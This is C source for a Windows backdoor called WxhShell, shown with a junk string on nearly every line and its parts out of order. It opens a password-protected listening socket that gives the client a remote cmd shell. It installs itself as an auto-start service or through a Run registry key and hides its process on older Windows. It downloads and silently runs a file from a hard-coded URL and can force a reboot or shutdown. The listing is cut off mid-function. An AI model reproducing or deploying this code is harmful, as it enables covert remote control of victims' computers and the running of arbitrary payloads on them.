  case 'd': { fAUtqkB  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "uTzmm$  
    if(Boot(SHUTDOWN)) .}SW`R Pk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fhMtnh:  
    else { Bq79Ev .-  
    closesocket(wsh); ptb t  
    ExitThread(0); hrU.QF8  
    } Va(R*38k  
    break; &1]}^/u2  
    } e`k 2g ^  
  // 获取shell YXrTm[P  
  case 's': { 0x[vB5R  
    CmdShell(wsh); ;o%r{:lng  
    closesocket(wsh); 0RtqqNFD  
    ExitThread(0); l= ~]MSwY  
    break; >W.Pg`'D  
  } B964#4& 9  
  // 退出 >I]t |RT])  
  case 'x': { Z7k {7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5y}}?6n+  
    CloseIt(wsh); .[= 0(NO  
    break; -M%n<,XN0  
    } Pk~P  
  // 离开 ZN%$k-2  
  case 'q': { 'V 1QuSd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ],qG!,V  
    closesocket(wsh); ^YenS6`F  
    WSACleanup(); FK@rZP  
    exit(1); j\@s pbE@  
    break; iknBc-TLD  
        } 6dC!&leNi  
  } qIA!m .GC  
  } j,EE`g&  
 PovPO  
  // 提示信息 :E4i@ O7%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); cU%#oEMf<  
} uZm<:d2%)  
  } A-ir   
> ^n'  
  return; f`/JY!u j{  
} ;oob TW{  
saU|.\l  
// shell模块句柄 H'?Bx>X  
int CmdShell(SOCKET sock) -("79v>#  
{ i1FFf[[L  
STARTUPINFO si; |= N8X  
ZeroMemory(&si,sizeof(si)); s67$tlV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Qk*h'}f  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Rp}6}4=d  
PROCESS_INFORMATION ProcessInfo; Yfxc$ub  
char cmdline[]="cmd"; Mgcq'{[~Y=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k5g\s9n]  
  return 0; =J0FT2 d  
} |=jgrm1yj  
p_B,7@Jl  
// 自身启动模式 gOgG23 x  
int StartFromService(void) Qi6vP&  
{ jpm}EOq<%  
typedef struct VaVKWJg$  
{ L!mQP  
  DWORD ExitStatus; akJ{-   
  DWORD PebBaseAddress; zr84%_^  
  DWORD AffinityMask; KW+^9&lA  
  DWORD BasePriority; F4kU) i  
  ULONG UniqueProcessId; m]7Y )&3  
  ULONG InheritedFromUniqueProcessId; U NQup;#h  
}   PROCESS_BASIC_INFORMATION; 6tzZ j:y q  
-uy}]s5Qu  
PROCNTQSIP NtQueryInformationProcess; yq6!8OkF  
F[RhuNa&'W  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (:Bo'q S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }! zjj\g^  
W!XFaA$  
  HANDLE             hProcess; 7D9R^\K  
  PROCESS_BASIC_INFORMATION pbi; r-4I{GPb  
0 I;>du  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "9kEqz4a  
  if(NULL == hInst ) return 0; J +<|8D  
VR*5}Qp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7dV^35 KP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); asPD>jc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Lm-}W "7  
OSfwA&  
  if (!NtQueryInformationProcess) return 0; PCt&66F   
8Q#&=]W$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 97F$$d54T  
  if(!hProcess) return 0; iO<O2A.F  
^h^j:!76j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +n2x@ 0op  
t m5>J)C  
  CloseHandle(hProcess); 9L!Vj J  
//H+S q66  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cf0em!  
if(hProcess==NULL) return 0; oDKgW?x  
r8^1JJ~\  
HMODULE hMod; 9FPl  
char procName[255]; s_D7?o  
unsigned long cbNeeded; K8284A8v  
FY#`]124*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }@ 1LFZx  
^Ud`2 OW;2  
  CloseHandle(hProcess); tet  
"TN}=^A\F  
if(strstr(procName,"services")) return 1; // 以服务启动 ,,fLK1  
Rg0\Ng4|G  
  return 0; // 注册表启动 2S!=2u+7  
} e|+uLbN&;c  
Sq(=Bn6E  
// 主模块 ~5p `Kg*  
int StartWxhshell(LPSTR lpCmdLine) [}P|OCW  
{ EMs$~CL4  
  SOCKET wsl; t@4X(i0  
BOOL val=TRUE; 1DZGb)OU  
  int port=0; - VR u^l#  
  struct sockaddr_in door; TN/I(pkt1B  
sI*( MhU  
  if(wscfg.ws_autoins) Install(); Z!LzyCVl  
Szwa2IdI.  
port=atoi(lpCmdLine); mUnn k`v  
yKDg ~zsh  
if(port<=0) port=wscfg.ws_port; 2Q1* Xq{  
.JQR5R |Q  
  WSADATA data; W%vh7>.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \?g)jY  
H26 j]kY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x%cKTpDh!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %pTbJaM\U  
  door.sin_family = AF_INET; 4I{|M,+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ukG1<j7.  
  door.sin_port = htons(port); 1AoBsEnd  
e^Jy-?E  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f"k/j?e*  
closesocket(wsl); j}0*`[c  
return 1; <`6-J `.  
} joM98H@  
K;[V`)d'  
  if(listen(wsl,2) == INVALID_SOCKET) { fFSW\4JD=  
closesocket(wsl); OP:;?Fs9`  
return 1; tb0s+rb  
} 9H.E15B  
  Wxhshell(wsl); u7a4taM$d  
  WSACleanup(); 9%\q*  
  ;h  
return 0; .bL{fBTT~  
LR9dQ=fHS  
} T(ponLh  
`33h4G  
// 以NT服务方式启动 %o^'(L@z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6pr}A  
{ OaU$ [Z'8  
DWORD   status = 0; &?zJ|7rh@|  
  DWORD   specificError = 0xfffffff; @iWIgL  
Q#:,s8TW[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (`>4~?|+T  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; oX?2fu-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U R@'J@V#:  
  serviceStatus.dwWin32ExitCode     = 0; 2!&:V]  
  serviceStatus.dwServiceSpecificExitCode = 0; 9O}YtX2  
  serviceStatus.dwCheckPoint       = 0; ,YH^jc  
  serviceStatus.dwWaitHint       = 0; p1X lni%=  
Ev$?c9*>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \Sm.]=b r  
  if (hServiceStatusHandle==0) return; [lyB@) 6.  
<V>vDno\  
status = GetLastError(); tYmWze. j  
  if (status!=NO_ERROR) [!bTko>rSB  
{ <niHJ*  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '%K,A-7W  
    serviceStatus.dwCheckPoint       = 0; L & PhABZ  
    serviceStatus.dwWaitHint       = 0; <([o4%  
    serviceStatus.dwWin32ExitCode     = status; u!{P{C  
    serviceStatus.dwServiceSpecificExitCode = specificError; nM}X1^PiK"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #C !8a  
    return; {u9VHAXCf  
  } V3I&0P k  
O a-Z eCq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9"MC<  
  serviceStatus.dwCheckPoint       = 0; oVmGZhkA@'  
  serviceStatus.dwWaitHint       = 0; |y;+xEl6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "d.qmM  
} 2v%~KV  
GHYgSS  
// 处理NT服务事件,比如:启动、停止 hiP^*5h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N],A&}30  
{ O\lt!p3F  
switch(fdwControl) K mL PWj  
{ 5^P)='0*  
case SERVICE_CONTROL_STOP: w6#hsRq[C  
  serviceStatus.dwWin32ExitCode = 0; i ]F,Y;&|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /=Q7RJ@P  
  serviceStatus.dwCheckPoint   = 0; :LcR<>LZ  
  serviceStatus.dwWaitHint     = 0; i~l0XjQbs  
  { $?;aW^E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OZk(VMuI  
  } lBPZB%  
  return; t0}3QGf;c  
case SERVICE_CONTROL_PAUSE: u-jGv| ,|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dw Aju:-H  
  break; i:{a-Bd  
case SERVICE_CONTROL_CONTINUE: Y.Gr(]tk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; tr/S*0$  
  break; &?YQVwsN  
case SERVICE_CONTROL_INTERROGATE: -Ux/ Ug@  
  break; ,{:5Z:<|  
}; Fwho.R-.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CQ3;NY=o  
} qZA?M=NT?  
4MIL# 1s  
// 标准应用程序主函数 my*UN_]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Mx$VAV^\  
{ 9\Yj`,i5  
:5h&f  
// 获取操作系统版本 l'-iIbKX  
OsIsNt=GetOsVer(); ogjm6;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dos$d3B4  
rD<@$KpP  
  // 从命令行安装 gD&%$&q  
  if(strpbrk(lpCmdLine,"iI")) Install(); zy5@K)  
e2/&X;2  
  // 下载执行文件 h r t\  
if(wscfg.ws_downexe) { [/5>)HK} C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s u![ST(  
  WinExec(wscfg.ws_filenam,SW_HIDE); wIi(p5*  
} m<"1*d~  
)t @OHSl  
if(!OsIsNt) { k)y0V:ZY]O  
// 如果时win9x,隐藏进程并且设置为注册表启动 ("H:T?4Qs  
HideProc(); !;fkc0&!  
StartWxhshell(lpCmdLine); P1z6 sG G  
} `db++Z'C  
else OL=IUg"  
  if(StartFromService()) _|H]X+|  
  // 以服务方式启动 p?8> 9  
  StartServiceCtrlDispatcher(DispatchTable); : <m0 GG  
else AO/J:`  
  // 普通方式启动 i3#]_ p{  
  StartWxhshell(lpCmdLine); mL3'/3-7:V  
}54\NSj0  
return 0; Ct #hl8b:  
} #T !YFMh;  
%&e5i  
/Q{Jf+>R>  
0jj }jw  
=========================================== Hhfqb"2on  
B`T9dL[E4  
Q"QrbU  
5#WZXhlc}  
.}a@OLJd  
)+\e+Ad}H  
" KX`MX5?x  
5/neV&VcB  
#include <stdio.h> }Y<(1w  
#include <string.h> 5_=&U-? H  
#include <windows.h> HM ^rk  
#include <winsock2.h> i-tX5Md|  
#include <winsvc.h> xa!@$w=U&  
#include <urlmon.h> e2/[`k=7-  
k]I<%  
#pragma comment (lib, "Ws2_32.lib") ]RGun GJ  
#pragma comment (lib, "urlmon.lib") %;ny  
:vV?Yv%P)n  
#define MAX_USER   100 // 最大客户端连接数 @R`OAd y  
#define BUF_SOCK   200 // sock buffer ?WUu@Z  
#define KEY_BUFF   255 // 输入 buffer ]lm9D@HMC  
3MkF  
#define REBOOT     0   // 重启 ?i9LqHL  
#define SHUTDOWN   1   // 关机 Lqwc:%Y:_  
g($y4~#  
#define DEF_PORT   5000 // 监听端口 Qv']*C[!z  
nA%-<  
#define REG_LEN     16   // 注册表键长度 V{c n1Af  
#define SVC_LEN     80   // NT服务名长度 OP``g/x)  
_gw~A {O  
// 从dll定义API _(oJ8h(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kdg Q -UN$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RHE< QG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Z%&jul  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K<\TF+  
>f}rM20Vm  
// wxhshell配置信息 c AIS?]1  
struct WSCFG { Uv5E$Y"e10  
  int ws_port;         // 监听端口 !U=;e?o  
  char ws_passstr[REG_LEN]; // 口令 Fvi<5v  
  int ws_autoins;       // 安装标记, 1=yes 0=no :c<C;.  
  char ws_regname[REG_LEN]; // 注册表键名 mezP"N=L~  
  char ws_svcname[REG_LEN]; // 服务名 )UN@|IX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 D Q~+\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  UIhB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 //| 9J(B]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LH0\SmhU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ` YIpZ rB  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1.jW^sM  
[R& P.E7w'  
}; rS6iZp,  
!K6:W1  
// default Wxhshell configuration 1xcx2L+R  
struct WSCFG wscfg={DEF_PORT, c69B[Vjb  
    "xuhuanlingzhe", [Zgy,j\ \  
    1, j3A+:KDn3n  
    "Wxhshell", /I".n]  
    "Wxhshell", Neey myW  
            "WxhShell Service", sF(U?)48  
    "Wrsky Windows CmdShell Service", K;S&91V)=  
    "Please Input Your Password: ", %~$4[,=  
  1, D|_}~T>;&  
  "http://www.wrsky.com/wxhshell.exe", %qN8u Qx  
  "Wxhshell.exe" p2w/jJMD  
    }; 1 5rE|m^  
.KK"KO5k  
// 消息定义模块 :t9(T?2  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H6e ^" E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q/0;r{@Tq}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ezHj?@  
char *msg_ws_ext="\n\rExit."; N b(se*Y#  
char *msg_ws_end="\n\rQuit."; B/pNM81(  
char *msg_ws_boot="\n\rReboot..."; D`,@EW].  
char *msg_ws_poff="\n\rShutdown..."; C^l) n!fq  
char *msg_ws_down="\n\rSave to "; evtn/.kDR  
 @(Q4  
char *msg_ws_err="\n\rErr!"; &X +@,!  
char *msg_ws_ok="\n\rOK!"; S.M< (  
jZ.+b j >  
char ExeFile[MAX_PATH]; + ZGOv,l  
int nUser = 0; x$6-7<p  
HANDLE handles[MAX_USER]; +.[#C5  
int OsIsNt; gy~M]u{  
:n>:*e@w%  
SERVICE_STATUS       serviceStatus; r\_aux^z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'VR5>r  
l.b  
// 函数声明 .r]n<  
int Install(void); .hZ =8y9  
int Uninstall(void); =a7m^e7  
int DownloadFile(char *sURL, SOCKET wsh); aLhTaB-va  
int Boot(int flag); zKgW9j<(  
void HideProc(void); LF{qI?LG  
int GetOsVer(void); )pJ}o&J  
int Wxhshell(SOCKET wsl); ?MO'WB9+JR  
void TalkWithClient(void *cs); H+_oK ]/  
int CmdShell(SOCKET sock); x"U/M ?l  
int StartFromService(void); 213D{#2  
int StartWxhshell(LPSTR lpCmdLine); I]ywO4  
zXZy:SD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :sM|~gT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ("mW=Ln  
G{ F>=z"(l  
// 数据结构和表定义 r_ r+&4n  
SERVICE_TABLE_ENTRY DispatchTable[] = {TUCa  
{ {`l]RIig  
{wscfg.ws_svcname, NTServiceMain}, I caIB)  
{NULL, NULL} qY#*zx  
}; c|ZZ+2IYd  
_VR4 |)1g  
// 自我安装 XTHrf'BU  
int Install(void) 'KyT]OObS  
{ |oO0%#1H  
  char svExeFile[MAX_PATH]; $m{\<A  
  HKEY key; LhV4 ^\+  
  strcpy(svExeFile,ExeFile); 8v(Xr}q,r  
(;Lz `r'  
// 如果是win9x系统,修改注册表设为自启动 QZQ@C#PR;  
if(!OsIsNt) { ;|9VPv/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o)1wF X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lywcT! <  
  RegCloseKey(key); 1\zI#"b ^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zj`eR\7~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1mA)=hu  
  RegCloseKey(key); Ig$5Ui  
  return 0; n>Zkx+jLj<  
    } =U|J{^ >I  
  } Oi l>bv8  
} l  4~'CLi  
else { MY1 tYO  
RAf+%h*  
// 如果是NT以上系统,安装为系统服务 &QCqaJ-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V 9=y@`;  
if (schSCManager!=0) I|iI ,l/9  
{ swlxV@NQ  
  SC_HANDLE schService = CreateService f ( UcJx  
  ( Fi*6ud\n!  
  schSCManager, NW!e@;E+i  
  wscfg.ws_svcname, Km\M /j|  
  wscfg.ws_svcdisp, Uc7X)  
  SERVICE_ALL_ACCESS, x1A^QIuxO  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , AO^F6Y/  
  SERVICE_AUTO_START, Y^3tk}yru  
  SERVICE_ERROR_NORMAL, (m.]0v*&c  
  svExeFile, 1Rl`}7Km  
  NULL, rKi)VVkx_  
  NULL, !?Ow"i-lp  
  NULL, 7"8HlOHA  
  NULL, jzzVZ%t  
  NULL 7B7I'{d  
  ); Gg,,qJO  
  if (schService!=0) t}*teo[  
  { ojyG|Y  
  CloseServiceHandle(schService); E7*1QR{Q  
  CloseServiceHandle(schSCManager); ~49+$.2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z < uwqA  
  strcat(svExeFile,wscfg.ws_svcname); Rs<,kMRGVL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { EcwH O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); e(!a~{(kq%  
  RegCloseKey(key); =X% D;2  
  return 0; ;Oe6SNquT  
    } PB }$.8  
  } uY'Ib[H  
  CloseServiceHandle(schSCManager); ;5y!,OF6  
} 5]'iSrp  
} #9 } Oqm  
I0OsaX'  
return 1; Prjl ;[I}  
} X*FK6,Y|(  
: PQA9U|  
// 自我卸载 *OsXjL`f  
int Uninstall(void) O#u)~C?)8  
{ ~ RTjcE  
  HKEY key; @h ^5*M  
gdkO|x  
if(!OsIsNt) {  hA/FK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8U\ +b?}  
  RegDeleteValue(key,wscfg.ws_regname); ncS^NH(&  
  RegCloseKey(key); D:.^]o[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -AcQ_dS  
  RegDeleteValue(key,wscfg.ws_regname); U*1~Zf  
  RegCloseKey(key); QuF%m^aE  
  return 0; Of:e6N  
  } #2u-L~n  
} Zvr(c|Q  
} `=CF | I  
else { -U; s,>\)  
KZD&Ih(vC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,[cWG)-  
if (schSCManager!=0) gB kb0  
{ 9rA3qj%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Zz/w>kAG*{  
  if (schService!=0) N<:Ra~Ay  
  { &;%+Hduc  
  if(DeleteService(schService)!=0) { ~ZvZ k  
  CloseServiceHandle(schService); ` qt4~rD  
  CloseServiceHandle(schSCManager); y/kCzDT,  
  return 0; kMwt&6wS  
  } =]7 \--  
  CloseServiceHandle(schService); L6Ynid.k  
  } pCpj#+|_)  
  CloseServiceHandle(schSCManager); aIqNNR  
} dIM:U :c  
} 7&HP2r  
HjV^6oP  
return 1; QjZ}*p  
} +S3'ms  
.cu5h   
// 从指定url下载文件 9N'$Y*. d<  
int DownloadFile(char *sURL, SOCKET wsh) CQv [Od  
{ -R&h?ec  
  HRESULT hr; b_wb!_  
char seps[]= "/"; [Q^kO;  
char *token; w)!(@}vd  
char *file; BE3~f6 `  
char myURL[MAX_PATH]; HkrNh>^=  
char myFILE[MAX_PATH]; c/g(=F__[  
y`(z_5ClT  
strcpy(myURL,sURL); B]]M?pS  
  token=strtok(myURL,seps); 6j` waK  
  while(token!=NULL) MJ92S(  
  { %|-Rh^H[JK  
    file=token; ytAhhwN~  
  token=strtok(NULL,seps); czHO)uQ?d`  
  } VfZ/SByh7p  
2\s-4H| q  
GetCurrentDirectory(MAX_PATH,myFILE); yn %w'  
strcat(myFILE, "\\"); o'H$g%  
strcat(myFILE, file); FWD9!M K  
  send(wsh,myFILE,strlen(myFILE),0); )hQ`l d7B  
send(wsh,"...",3,0); ]%mg(&p4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); WP}__1!%u  
  if(hr==S_OK) 4Y-9W2s  
return 0; o +aB[+  
else 71)HxC[6vA  
return 1; 2;kab^iv'  
,,{Uz)>'W6  
} A\SbuRty  
<|m"Q!f  
// 系统电源模块 KDn`XCnk,  
int Boot(int flag) Sfvi|kZX  
{ *b7v)d#  
  HANDLE hToken; hcN$p2-  
  TOKEN_PRIVILEGES tkp; _L: /2  
jj.yB#T  
  if(OsIsNt) { >,~JQ%1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xJO[pT v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Impv3qaZ  
    tkp.PrivilegeCount = 1; u |f h!-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !Noabt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); y:W$~<E`p  
if(flag==REBOOT) { bk>M4l61  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w5&UG/z%l  
  return 0; q.g!WLiI  
} M8g=t[\  
else { *XNvb ^<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  c<4pu  
  return 0; v4qvq GK  
} ?rv+ydR/q  
  } '!y ^  
  else { }>h?W1  
if(flag==REBOOT) { >i=O =w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B!8]\D  
  return 0; [IHT)%>E8&  
} !_c<j4O  
else { 6.By)L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @<w$QD  
  return 0; ?.,cWKGQ}  
} A\:=p  
} h~nl  
.Q?AzU,2D  
return 1; +$v$P!),  
} 9VP|a-  
|Yk23\!  
// win9x进程隐藏模块 Yq2 mVo  
void HideProc(void) XKR?vr7A2  
{ ;APg!5X  
\l]jX: 9(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2 3>lE}^G  
  if ( hKernel != NULL ) f[dwu39k  
  { ]Mtb~^joG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t[^}/ S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0dnm/'L  
    FreeLibrary(hKernel); no;Yu  
  } 9|OQHy  
^:DlrI$  
return; P}aJvFlmP  
} T!/$ @]%\7  
=fRP9`y  
// 获取操作系统版本 -`Z5#8P  
int GetOsVer(void) xXHz)w  
{ {N _v4})  
  OSVERSIONINFO winfo; #" f:m`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q WP1i7]=/  
  GetVersionEx(&winfo); Y$'fds4P  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6}|/~n  
  return 1; r3iNfY b  
  else blS*HKw  
  return 0; `;i| %$TU  
} hz )L+  
1{u;-pg  
// 客户端句柄模块 z3a te^PJF  
int Wxhshell(SOCKET wsl) IG#=}q  
{ g\X"E>X  
  SOCKET wsh; x.45!8Zb  
  struct sockaddr_in client; ^]Gt<_  
  DWORD myID; 5M*ZZ+YX  
o^>*aQ!7<D  
  while(nUser<MAX_USER) }TYCF@  
{ SIbQs8h]  
  int nSize=sizeof(client); F.T~txQ~u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); M/B_-8B_D  
  if(wsh==INVALID_SOCKET) return 1; D0-C:gz  
Q}]Q0'X8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =3& WH0  
if(handles[nUser]==0) w8@ Ok_fj  
  closesocket(wsh); wV U(Du  
else q>H!?zi\Hy  
  nUser++; /e\} qq  
  } O9g{XhMv>f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I.\u2B/?  
\yM[?/<  
  return 0; i?mDR$X:  
} ;qzCoe  
'6K WobXm  
// 关闭 socket }*? e w  
void CloseIt(SOCKET wsh) $`]<4I9d  
{ =Ybbh`$<  
closesocket(wsh); |w\D6d]o  
nUser--; 85nUR [)h  
ExitThread(0); F\>`j   
} i8A5m@,G  
^t#]E#  
// 客户端请求句柄 _}Z*%sT  
void TalkWithClient(void *cs) PhW#=S  
{ 17nWrTxR$  
8xL-j2w  
  SOCKET wsh=(SOCKET)cs; |F6C&GNYT  
  char pwd[SVC_LEN]; OPKm^}  
  char cmd[KEY_BUFF]; /T_tI R>  
char chr[1]; uOZ+9x(  
int i,j; lr^-  
KnU"49  
  while (nUser < MAX_USER) { EmY8AN(*  
jixU9]  
if(wscfg.ws_passstr) { :*Ckq~[Hg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M@csB.'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4W^0K|fq  
  //ZeroMemory(pwd,KEY_BUFF); +IJpqFH  
      i=0; ;'cv?3Y  
  while(i<SVC_LEN) { Lu-owP7nB  
@NX^__ sa  
  // 设置超时 MA"iM+Ar  
  fd_set FdRead; U:8^>_  
  struct timeval TimeOut; #<se0CJB  
  FD_ZERO(&FdRead); \'1%"JWK   
  FD_SET(wsh,&FdRead); 0MPsF{Xw[  
  TimeOut.tv_sec=8; ]=h Ts%]w  
  TimeOut.tv_usec=0; A6#ob  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >"ZTyrK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Mg^u-(A  
<pi q?:ac  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @|5B  
  pwd=chr[0]; ztb2Ign<  
  if(chr[0]==0xd || chr[0]==0xa) { =Jem.Ph  
  pwd=0; =m-_0xo  
  break;  Ya=QN<  
  } )vPce  
  i++; (U-p&q>z  
    } hWDgMmo7  
V+D "_  
  // 如果是非法用户,关闭 socket z.[L1AGa|s  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wX|]8f2Z  
} >) 5rOU  
9>zN 27  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U7:~@eYy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }rGDM  
]`u{^f  
while(1) { z<@$$Z=0UF  
K$(U>D|  
  ZeroMemory(cmd,KEY_BUFF); WgY\m&  
-3KB:K<  
      // 自动支持客户端 telnet标准   rhL<JTS  
  j=0; 2|Tt3/Rn  
  while(j<KEY_BUFF) { mM}|x~\R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h8S%Q|-  
  cmd[j]=chr[0]; b^A&K@[W#,  
  if(chr[0]==0xa || chr[0]==0xd) { 0BE%~W  
  cmd[j]=0; 0.+iVOz+Y  
  break; s?_b[B d  
  } 6`+DBr  
  j++; #0^Q UOp  
    } R o%S_!  
]qpcA6%a|  
  // 下载文件 ;tKL/eI  
  if(strstr(cmd,"http://")) { GWP"i77y0s  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); kZn!]TseN  
  if(DownloadFile(cmd,wsh)) }Efp{E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vTB*J,6.  
  else q F}5mUcZ4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rj{'X  /  
  } e HOm^.gd  
  else { ]Q,RVEtKp  
